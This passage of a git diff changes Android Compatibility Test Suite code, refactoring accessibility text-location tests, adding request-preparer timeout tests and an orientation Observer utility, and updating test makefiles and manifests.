+ final float x = bounds.left + (bounds.width() / 4.0f);
+ final float y = bounds.top + (bounds.height() / 4.0f);
final AtomicBoolean setScale = new AtomicBoolean();
final AtomicBoolean setCenter = new AtomicBoolean();
final AtomicBoolean result = new AtomicBoolean();
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySettingsTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySettingsTest.java
index c08e208..ccbd1b5 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySettingsTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySettingsTest.java
@@ -25,13 +25,10 @@
import java.util.List;
-import com.android.compatibility.common.util.CddTest;
-
/**
* This test case is responsible to verify that the intent for launching
* accessibility settings has an activity that handles it.
*/
-@CddTest(requirement="3.10/C-1-3")
public class AccessibilitySettingsTest extends AndroidTestCase {
@MediumTest
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java
index 0f8b9c0..7252fe0 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java
@@ -18,6 +18,7 @@
import android.graphics.RectF;
import android.os.Bundle;
import android.os.Debug;
+import android.os.Message;
import android.os.Parcelable;
import android.text.SpannableString;
import android.text.Spanned;
@@ -25,7 +26,10 @@
import android.text.style.ClickableSpan;
import android.text.style.URLSpan;
import android.view.View;
+import android.view.accessibility.AccessibilityManager;
import android.view.accessibility.AccessibilityNodeInfo;
+import android.view.accessibility.AccessibilityNodeProvider;
+import android.view.accessibility.AccessibilityRequestPreparer;
import android.widget.EditText;
import android.widget.TextView;
@@ -34,10 +38,21 @@
import java.util.Arrays;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.List;
+import java.util.concurrent.atomic.AtomicReference;
import static android.view.accessibility.AccessibilityNodeInfo.EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_LENGTH;
import static android.view.accessibility.AccessibilityNodeInfo.EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_START_INDEX;
import static android.view.accessibility.AccessibilityNodeInfo.EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyNoMoreInteractions;
/**
* Test cases for actions taken on text views.
@@ -193,25 +208,10 @@
textAvailableExtraData.contains(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY));
assertNull("Text locations should not be populated by default",
text.getExtras().get(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY));
- Bundle getTextArgs = new Bundle();
- getTextArgs.putInt(EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_START_INDEX, 0);
- getTextArgs.putInt(EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_LENGTH,
- text.getText().length());
+ final Bundle getTextArgs = getTextLocationArguments(text);
assertTrue("Refresh failed", text.refreshWithExtraData(
AccessibilityNodeInfo.EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY, getTextArgs));
- final Parcelable[] parcelables = text.getExtras()
- .getParcelableArray(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY);
- final RectF[] locations = Arrays.copyOf(parcelables, parcelables.length, RectF[].class);
- assertEquals(text.getText().length(), locations.length);
- // The text should all be on one line, running left to right
- for (int i = 0; i < locations.length; i++) {
- assertEquals(locations[0].top, locations[i].top);
- assertEquals(locations[0].bottom, locations[i].bottom);
- assertTrue(locations[i].right > locations[i].left);
- if (i > 0) {
- assertTrue(locations[i].left > locations[i-1].left);
- }
- }
+ assertNodeContainsTextLocationInfoOnOneLineLTR(text);
}
public void testTextLocations_textOutsideOfViewBounds_locationsShouldBeNull() {
@@ -223,12 +223,9 @@
List<String> textAvailableExtraData = text.getAvailableExtraData();
assertTrue("Text view should offer text location to accessibility",
textAvailableExtraData.contains(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY));
- Bundle getTextArgs = new Bundle();
- getTextArgs.putInt(EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_START_INDEX, 0);
- getTextArgs.putInt(EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_LENGTH,
- text.getText().length());
+ final Bundle getTextArgs = getTextLocationArguments(text);
assertTrue("Refresh failed", text.refreshWithExtraData(
- AccessibilityNodeInfo.EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY, getTextArgs));
+ EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY, getTextArgs));
Parcelable[] parcelables = text.getExtras()
.getParcelableArray(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY);
final RectF[] locationsBeforeScroll = Arrays.copyOf(
@@ -251,11 +248,15 @@
}
// Scroll down one line
- final float oneLineDownY = locationsBeforeScroll[0].bottom;
- getInstrumentation().runOnMainSync(() -> editText.scrollTo(0, (int) oneLineDownY + 1));
+ getInstrumentation().runOnMainSync(() -> {
+ int[] viewPosition = new int[2];
+ editText.getLocationOnScreen(viewPosition);
+ final int oneLineDownY = (int) locationsBeforeScroll[0].bottom - viewPosition[1];
+ editText.scrollTo(0, oneLineDownY + 1);
+ });
assertTrue("Refresh failed", text.refreshWithExtraData(
- AccessibilityNodeInfo.EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY, getTextArgs));
+ EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY, getTextArgs));
parcelables = text.getExtras()
.getParcelableArray(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY);
final RectF[] locationsAfterScroll = Arrays.copyOf(
@@ -266,6 +267,135 @@
assertNotNull(locationsAfterScroll[firstNullRectIndex]);
}
+ public void testTextLocations_withRequestPreparer_shouldHoldOffUntilReady() {
+ final TextView textView = (TextView) getActivity().findViewById(R.id.text);
+ makeTextViewVisibleAndSetText(textView, getString(R.string.a_b));
+
+ final AccessibilityNodeInfo text = mUiAutomation.getRootInActiveWindow()
+ .findAccessibilityNodeInfosByText(getString(R.string.a_b)).get(0);
+ final List<String> textAvailableExtraData = text.getAvailableExtraData();
+ final Bundle getTextArgs = getTextLocationArguments(text);
+
+ // Register a request preparer that will capture the message indicating that preparation
+ // is complete
+ final AtomicReference<Message> messageRefForPrepare = new AtomicReference<>(null);
+ // Use mockito's asynchronous signaling
+ Runnable mockRunnableForPrepare = mock(Runnable.class);
+
+ AccessibilityManager a11yManager =
+ getActivity().getSystemService(AccessibilityManager.class);
+ AccessibilityRequestPreparer requestPreparer = new AccessibilityRequestPreparer(
+ textView, AccessibilityRequestPreparer.REQUEST_TYPE_EXTRA_DATA) {
+ @Override
+ public void onPrepareExtraData(int virtualViewId,
+ String extraDataKey, Bundle args, Message preparationFinishedMessage) {
+ assertEquals(AccessibilityNodeProvider.HOST_VIEW_ID, virtualViewId);
+ assertEquals(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY, extraDataKey);
+ assertEquals(0, args.getInt(EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_START_INDEX));
+ assertEquals(text.getText().length(),
+ args.getInt(EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_LENGTH));
+ messageRefForPrepare.set(preparationFinishedMessage);
+ mockRunnableForPrepare.run();
+ }
+ };
+ a11yManager.addAccessibilityRequestPreparer(requestPreparer);
+ verify(mockRunnableForPrepare, times(0)).run();
+
+ // Make the extra data request in another thread
+ Runnable mockRunnableForData = mock(Runnable.class);
+ new Thread() {
+ @Override
+ public void run() {
+ assertTrue("Refresh failed", text.refreshWithExtraData(
+ EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY, getTextArgs));
+ mockRunnableForData.run();
+ }
+ }.start();
+
+ // The extra data request should trigger the request preparer
+ verify(mockRunnableForPrepare, timeout(TIMEOUT_ASYNC_PROCESSING)).run();
+ // Verify that the request for extra data didn't return. This is a bit racy, as we may still
+ // not catch it if it does return prematurely, but it does provide some protection.
+ getInstrumentation().waitForIdleSync();
+ verify(mockRunnableForData, times(0)).run();
+
+ // Declare preparation for the request complete, and verify that it runs to completion
+ messageRefForPrepare.get().sendToTarget();
+ verify(mockRunnableForData, timeout(TIMEOUT_ASYNC_PROCESSING)).run();
+ assertNodeContainsTextLocationInfoOnOneLineLTR(text);
+ a11yManager.removeAccessibilityRequestPreparer(requestPreparer);
+ }
+
+ public void testTextLocations_withUnresponsiveRequestPreparer_shouldTimeout() {
+ final TextView textView = (TextView) getActivity().findViewById(R.id.text);
+ makeTextViewVisibleAndSetText(textView, getString(R.string.a_b));
+
+ final AccessibilityNodeInfo text = mUiAutomation.getRootInActiveWindow()
+ .findAccessibilityNodeInfosByText(getString(R.string.a_b)).get(0);
+ final List<String> textAvailableExtraData = text.getAvailableExtraData();
+ final Bundle getTextArgs = getTextLocationArguments(text);
+
+ // Use mockito's asynchronous signaling
+ Runnable mockRunnableForPrepare = mock(Runnable.class);
+
+ AccessibilityManager a11yManager =
+ getActivity().getSystemService(AccessibilityManager.class);
+ AccessibilityRequestPreparer requestPreparer = new AccessibilityRequestPreparer(
+ textView, AccessibilityRequestPreparer.REQUEST_TYPE_EXTRA_DATA) {
+ @Override
+ public void onPrepareExtraData(int virtualViewId,
+ String extraDataKey, Bundle args, Message preparationFinishedMessage) {
+ mockRunnableForPrepare.run();
+ }
+ };
+ a11yManager.addAccessibilityRequestPreparer(requestPreparer);
+ verify(mockRunnableForPrepare, times(0)).run();
+
+ // Make the extra data request in another thread
+ Runnable mockRunnableForData = mock(Runnable.class);
+ new Thread() {
+ @Override
+ public void run() {
+ /*
+ * Don't worry about the return value, as we're timing out. We're just making
+ * sure that we don't hang the system.
+ */
+ text.refreshWithExtraData(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY, getTextArgs);
+ mockRunnableForData.run();
+ }
+ }.start();
+
+ // The extra data request should trigger the request preparer
+ verify(mockRunnableForPrepare, timeout(TIMEOUT_ASYNC_PROCESSING)).run();
+
+ // Declare preparation for the request complete, and verify that it runs to completion
+ verify(mockRunnableForData, timeout(TIMEOUT_ASYNC_PROCESSING)).run();
+ a11yManager.removeAccessibilityRequestPreparer(requestPreparer);
+ }
+
+ private Bundle getTextLocationArguments(AccessibilityNodeInfo info) {
+ Bundle args = new Bundle();
+ args.putInt(EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_START_INDEX, 0);
+ args.putInt(EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_LENGTH, info.getText().length());
+ return args;
+ }
+
+ private void assertNodeContainsTextLocationInfoOnOneLineLTR(AccessibilityNodeInfo info) {
+ final Parcelable[] parcelables = info.getExtras()
+ .getParcelableArray(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY);
+ final RectF[] locations = Arrays.copyOf(parcelables, parcelables.length, RectF[].class);
+ assertEquals(info.getText().length(), locations.length);
+ // The text should all be on one line, running left to right
+ for (int i = 0; i < locations.length; i++) {
+ assertEquals(locations[0].top, locations[i].top);
+ assertEquals(locations[0].bottom, locations[i].bottom);
+ assertTrue(locations[i].right > locations[i].left);
+ if (i > 0) {
+ assertTrue(locations[i].left > locations[i-1].left);
+ }
+ }
+ }
+
private void onClickCallback() {
synchronized (mClickableSpanCallbackLock) {
mClickableSpanCalled.set(true);
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
index b67fc28..3b0374f 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
@@ -40,10 +40,11 @@
mInstrumentation = InstrumentationRegistry.getInstrumentation();
mAudioManager =
(AudioManager) mInstrumentation.getContext().getSystemService(AUDIO_SERVICE);
- // TVs have a single volume
+ // TVs and fixed volume devices have a single volume
PackageManager pm = mInstrumentation.getContext().getPackageManager();
mSingleVolume = (pm != null) && (pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
- || pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION));
+ || pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION))
+ || mAudioManager.isVolumeFixed();
}
@Test
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
index ab90d1e..18c02e5 100755
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
@@ -45,6 +45,8 @@
import android.widget.Button;
import android.accessibilityservice.cts.R;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.LinkedList;
import java.util.List;
@@ -601,10 +603,6 @@
@MediumTest
public void testWindowDockAndUndock_dividerWindowAppearsAndDisappears() throws Exception {
-
- ActivityManager activityManager = (ActivityManager) getInstrumentation().getContext()
- .getSystemService(Context.ACTIVITY_SERVICE);
-
if (getInstrumentation().getContext().getPackageManager()
.hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
// Android TV doesn't support the divider window
@@ -623,14 +621,22 @@
// Do nothing, assume split screen multi window is supported.
}
- // ActivityManager determines Multiwindow support based on config config_supportMultiWindow
- // and isLowRam.
- if (!getInstrumentation().getContext().getResources().getBoolean(
- Resources.getSystem().getIdentifier("config_supportsMultiWindow", "bool",
- "android")) || activityManager.isLowRamDevice()) {
- // Check if multiWindow is supported.
+ /* In P as ActivityManager.supportsMultiWindow() becomes a @TestAPI
+ i.e. a compatibility requirement, make the test fail in the next API */
+ try {
+ final Method method = ActivityManager.class
+ .getMethod("supportsMultiWindow", Context.class);
+ if (!(Boolean)method.invoke(getInstrumentation().getContext().getSystemService(
+ ActivityManager.class), getInstrumentation().getContext())) {
+ // Check if multiWindow is supported.
+ return;
+ }
+ } catch (NoSuchMethodException e) {
+ } catch (IllegalAccessException e) {
+ } catch (InvocationTargetException e) {
return;
}
+
setAccessInteractiveWindowsFlag();
final UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
assertFalse(isDividerWindowPresent(uiAutomation));
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/InstrumentedAccessibilityService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/InstrumentedAccessibilityService.java
index 324cf33..2b6d2dd 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/InstrumentedAccessibilityService.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/InstrumentedAccessibilityService.java
@@ -7,6 +7,7 @@
import android.os.Handler;
import android.os.SystemClock;
import android.provider.Settings;
+import android.support.annotation.CallSuper;
import android.test.InstrumentationTestCase;
import android.view.accessibility.AccessibilityEvent;
import android.view.accessibility.AccessibilityManager;
@@ -36,6 +37,7 @@
@Override
+ @CallSuper
protected void onServiceConnected() {
synchronized (sInstances) {
sInstances.put(getClass(), new WeakReference<>(this));
diff --git a/tests/admin/Android.mk b/tests/admin/Android.mk
index 595c0a3..eefc44e 100644
--- a/tests/admin/Android.mk
+++ b/tests/admin/Android.mk
@@ -21,14 +21,14 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner mockito-target-minus-junit4
+ ctstestrunner mockito-target-minus-junit4 compatibility-device-util
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_PACKAGE_NAME := CtsAdminTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_INSTRUMENTATION_FOR := CtsAdminApp
diff --git a/tests/admin/app/Android.mk b/tests/admin/app/Android.mk
index aac8a89..22b5c83 100644
--- a/tests/admin/app/Android.mk
+++ b/tests/admin/app/Android.mk
@@ -22,14 +22,14 @@
LOCAL_JAVA_LIBRARIES := guava
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_PACKAGE_NAME := CtsAdminApp
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
index 4b9e5fa..3c2dd59 100644
--- a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
+++ b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
@@ -32,6 +32,8 @@
import android.test.suitebuilder.annotation.Suppress;
import android.util.Log;
+import com.android.compatibility.common.util.CddTest;
+
import java.util.List;
/**
@@ -92,6 +94,7 @@
assertTrue(mDevicePolicyManager.isAdminActive(mComponent));
}
+ @CddTest(requirement="7.3.10/C-1-10,9.11.1/C-5-2")
public void testKeyguardDisabledFeatures() {
if (!mDeviceAdmin) {
Log.w(TAG, "Skipping testKeyguardDisabledFeatures");
diff --git a/tests/app/Android.mk b/tests/app/Android.mk
index bb1dc10..6bd42ef 100644
--- a/tests/app/Android.mk
+++ b/tests/app/Android.mk
@@ -37,7 +37,7 @@
$(call all-java-files-under, appSdk25/src) \
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsAppTestCases
diff --git a/tests/app/app/Android.mk b/tests/app/app/Android.mk
index 3c0a0c5..191f4cc 100644
--- a/tests/app/app/Android.mk
+++ b/tests/app/app/Android.mk
@@ -37,7 +37,7 @@
src/android/app/stubs/ISecondary.aidl
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsAppTestStubs
diff --git a/tests/app/app/AndroidManifest.xml b/tests/app/app/AndroidManifest.xml
index b2412f65..7db0717 100644
--- a/tests/app/app/AndroidManifest.xml
+++ b/tests/app/app/AndroidManifest.xml
@@ -42,6 +42,7 @@
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.BODY_SENSORS" />
<uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" />
+ <uses-permission android:name="android.permission.SET_WALLPAPER" />
<application android:label="Android TestCase"
android:icon="@drawable/size_48x48"
@@ -56,15 +57,6 @@
<activity android:name="android.app.stubs.ActionBarActivity" />
- <activity android:name="android.app.stubs.DialogStubActivity"
- android:label="DialogStubActivity"
- android:configChanges="keyboardHidden|orientation|screenSize">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
- </intent-filter>
- </activity>
-
<activity android:name="android.app.stubs.MockActivity" android:label="MockActivity">
<meta-data android:name="android.app.alias"
android:resource="@xml/alias" />
@@ -344,6 +336,16 @@
</intent-filter>
</activity>
+ <activity android:name="android.app.stubs.MetaDataMaxAspectRatioActivity"
+ android:label="MetaDataMaxAspectRatioActivity"
+ android:resizeableActivity="false">
+ <meta-data android:name="android.max_aspect" android:value="1.0" />
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+ </intent-filter>
+ </activity>
+
<activity android:name="android.app.stubs.MaxAspectRatioResizeableActivity"
android:label="MaxAspectRatioResizeableActivity"
android:resizeableActivity="true"
diff --git a/tests/app/app/src/android/app/stubs/DisplayTestActivity.java b/tests/app/app/src/android/app/stubs/DisplayTestActivity.java
index b5233da..e030ceb 100644
--- a/tests/app/app/src/android/app/stubs/DisplayTestActivity.java
+++ b/tests/app/app/src/android/app/stubs/DisplayTestActivity.java
@@ -27,12 +27,20 @@
* An {@link Activity} that exposes the underlying {@link Display} details.
*/
public class DisplayTestActivity extends Activity {
+ public final OrientationTestUtils.Observer configurationChangeObserver =
+ new OrientationTestUtils.Observer();
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
}
+ @Override
+ public void onConfigurationChanged(Configuration newConfig) {
+ super.onConfigurationChanged(newConfig);
+ configurationChangeObserver.onObserved();
+ }
+
public Display getDisplay() {
return getSystemService(WindowManager.class).getDefaultDisplay();
}
diff --git a/tests/app/app/src/android/app/stubs/MetaDataMaxAspectRatioActivity.java b/tests/app/app/src/android/app/stubs/MetaDataMaxAspectRatioActivity.java
new file mode 100644
index 0000000..2e989de
--- /dev/null
+++ b/tests/app/app/src/android/app/stubs/MetaDataMaxAspectRatioActivity.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.app.stubs;
+
+import android.app.Activity;
+
+public class MetaDataMaxAspectRatioActivity extends Activity {
+
+}
diff --git a/tests/app/app/src/android/app/stubs/OrientationTestUtils.java b/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
index 645a7ad..e9c9813 100644
--- a/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
+++ b/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
@@ -17,11 +17,14 @@
package android.app.stubs;
import android.app.Activity;
-import android.app.Instrumentation;
import android.content.pm.ActivityInfo;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+
+import static org.junit.Assert.assertTrue;
public class OrientationTestUtils {
-
/**
* Change the activity's orientation to something different and then switch back. This is used
* to trigger {@link Activity#onConfigurationChanged(android.content.res.Configuration)}.
@@ -29,45 +32,75 @@
* @param activity whose orientation will be changed and restored
*/
public static void toggleOrientation(Activity activity) {
- toggleOrientationSync(activity, null);
- }
-
- /**
- * Same as {@link #toggleOrientation(Activity)} except {@link Instrumentation#waitForIdleSync()}
- * is called after each orientation change.
- *
- * @param activity whose orientation will be changed and restored
- * @param instrumentation use for idle syncing
- */
- public static void toggleOrientationSync(final Activity activity,
- final Instrumentation instrumentation) {
- final int originalOrientation = activity.getResources().getConfiguration().orientation;
- final int newOrientation = originalOrientation == ActivityInfo.SCREEN_ORIENTATION_PORTRAIT
- ? ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE
- : ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
- changeOrientation(activity, instrumentation, newOrientation);
- changeOrientation(activity, instrumentation, originalOrientation);
+ final int[] orientations = getOrientations(activity);
+ activity.setRequestedOrientation(orientations[1]);
+ activity.setRequestedOrientation(orientations[0]);
}
/**
* Switches the device's orientation from landscape to portrait or portrait to landscape.
*
- * @param activity whose orientation will be changed.
- * @param instrumentation use for idle syncing
+ * @param activity whose orientation will be changed
+ * @return original orientation
*/
- public static void switchOrientation(final Activity activity, Instrumentation instrumentation) {
- final int originalOrientation = activity.getResources().getConfiguration().orientation;
- final int newOrientation = originalOrientation == ActivityInfo.SCREEN_ORIENTATION_PORTRAIT
- ? ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE
- : ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
- changeOrientation(activity, instrumentation, newOrientation);
+ public static void switchOrientation(final Activity activity) {
+ final int[] orientations = getOrientations(activity);
+ activity.setRequestedOrientation(orientations[1]);
}
- private static void changeOrientation(final Activity activity,
- Instrumentation instrumentation, final int orientation) {
- activity.setRequestedOrientation(orientation);
- if (instrumentation != null) {
- instrumentation.waitForIdleSync();
+ /**
+ * Returns original orientation and toggled orientation.
+ * @param activity whose orienetaion will be returned
+ * @return The first element is original orientation adn the second element is toggled
+ * orientation.
+ */
+ private static int[] getOrientations(final Activity activity) {
+ final int originalOrientation = activity.getResources().getConfiguration().orientation;
+ final int newOrientation = originalOrientation == ActivityInfo.SCREEN_ORIENTATION_PORTRAIT
+ ? ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE
+ : ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
+ return new int[] { originalOrientation, newOrientation };
+ }
+
+ /**
+ * Observer used in stub activities to wait for some event.
+ */
+ public static class Observer {
+ private static final int TIMEOUT_SEC = 3;
+ private final AtomicReference<CountDownLatch> mLatch = new AtomicReference();
+
+ /**
+ * Starts observing event.
+ * The returned CountDownLatch will get activated when onObserved is invoked after this
+ * call. The method cannot be called multiple times unless reset() is invoked.
+ * @return CountDownLatch will get activated when onObserved is invoked after this call.
+ */
+ public void startObserving() {
+ final CountDownLatch latch = new CountDownLatch(1);
+ assertTrue(mLatch.compareAndSet(null, latch));
+ }
+
+ /**
+ * Waits until onObserved is invoked.
+ */
+ public void await() throws InterruptedException {
+ try {
+ assertTrue(mLatch.get().await(TIMEOUT_SEC, TimeUnit.SECONDS));
+ } finally {
+ mLatch.set(null);
+ }
+ }
+
+ /**
+ * Notifies an event is observed.
+ * If this method is invoked after startObserving, the returned CountDownLatch will get
+ * activated. Otherwise it does nothing.
+ */
+ public void onObserved() {
+ final CountDownLatch latch = mLatch.get();
+ if (latch != null) {
+ latch.countDown();
+ }
}
}
}
diff --git a/tests/app/app/src/android/app/stubs/TestDialog.java b/tests/app/app/src/android/app/stubs/TestDialog.java
index e404e65..18ef3be 100644
--- a/tests/app/app/src/android/app/stubs/TestDialog.java
+++ b/tests/app/app/src/android/app/stubs/TestDialog.java
@@ -50,8 +50,10 @@
public boolean isOnKeyDownCalled;
public boolean isOnKeyUpCalled;
public boolean isOnKeyMultipleCalled;
- public boolean isOnSaveInstanceStateCalled;
- public static boolean isOnRestoreInstanceStateCalled;
+ public final OrientationTestUtils.Observer onSaveInstanceStateObserver =
+ new OrientationTestUtils.Observer();
+ public final static OrientationTestUtils.Observer onRestoreInstanceStateObserver =
+ new OrientationTestUtils.Observer();
public boolean isOnWindowAttributesChangedCalled;
public boolean isOnCreatePanelMenuCalled;
public boolean isOnCreatePanelViewCalled;
@@ -167,16 +169,15 @@
@Override
public Bundle onSaveInstanceState() {
- isOnSaveInstanceStateCalled = true;
saveInstanceState = super.onSaveInstanceState();
+ onSaveInstanceStateObserver.onObserved();
return saveInstanceState;
}
@Override
public void onRestoreInstanceState(Bundle savedInstanceState) {
- isOnRestoreInstanceStateCalled = true;
this.savedInstanceState = savedInstanceState;
-
+ onRestoreInstanceStateObserver.onObserved();
super.onRestoreInstanceState(savedInstanceState);
}
diff --git a/tests/app/app2/Android.mk b/tests/app/app2/Android.mk
index 794c689..2689c30 100644
--- a/tests/app/app2/Android.mk
+++ b/tests/app/app2/Android.mk
@@ -30,7 +30,7 @@
LOCAL_PACKAGE_NAME := CtsAppTestStubsDifferentUid
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_DEX_PREOPT := false
diff --git a/tests/app/appSdk25/Android.mk b/tests/app/appSdk25/Android.mk
index 64eda91..36c6d07 100644
--- a/tests/app/appSdk25/Android.mk
+++ b/tests/app/appSdk25/Android.mk
@@ -28,7 +28,7 @@
LOCAL_SDK_VERSION := 25
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsAppTestSdk25
diff --git a/tests/app/src/android/app/cts/ActivityKeyboardShortcutsTest.java b/tests/app/src/android/app/cts/ActivityKeyboardShortcutsTest.java
index 91c7f44..4192883 100644
--- a/tests/app/src/android/app/cts/ActivityKeyboardShortcutsTest.java
+++ b/tests/app/src/android/app/cts/ActivityKeyboardShortcutsTest.java
@@ -91,6 +91,8 @@
private boolean keyboardShortcutsSupported() {
// Keyboard shortcuts API is not supported on watches.
// TODO(b/62257073): Provide a more granular feature to check here.
- return !mActivity.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
+ // 2017-10-17: Updated to also exclude EMBEDDED
+ return !mActivity.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH) &&
+ !mActivity.getPackageManager().hasSystemFeature(PackageManager.FEATURE_EMBEDDED);
}
}
diff --git a/tests/app/src/android/app/cts/ActivityManagerMemoryClassTest.java b/tests/app/src/android/app/cts/ActivityManagerMemoryClassTest.java
index 5c39649..fefa546 100644
--- a/tests/app/src/android/app/cts/ActivityManagerMemoryClassTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerMemoryClassTest.java
@@ -150,7 +150,7 @@
}
}
- @CddTest(requirement="3.7/C-0-2")
+ @CddTest(requirement="3.7")
public void testGetMemoryClass() throws Exception {
int memoryClass = getMemoryClass();
int screenDensity = getScreenDensity();
diff --git a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
